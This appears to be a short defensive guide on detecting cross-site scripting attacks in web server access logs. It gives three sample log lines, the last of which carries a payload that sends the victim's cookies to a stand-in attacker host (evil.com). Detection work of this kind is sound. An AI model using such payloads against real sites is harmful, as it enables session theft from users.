Detect Cross-Site Scripting (XSS) attacks in web server logs. Identify reflected, stored, and DOM-based XSS attempts targeting your web application users.
-- Access log showing XSS probing:
203.0.113.55 - - [08/Mar/2026:15:10:22 +0000] "GET /search?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200 4521
203.0.113.55 - - [08/Mar/2026:15:10:24 +0000] "GET /search?q=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E HTTP/1.1" 200 4530
203.0.113.55 - - [08/Mar/2026:15:10:26 +0000] "GET /profile?name="><svg/onload=fetch('https://evil.com/steal?c='+document.cookie)> HTTP/1.1" 200 3201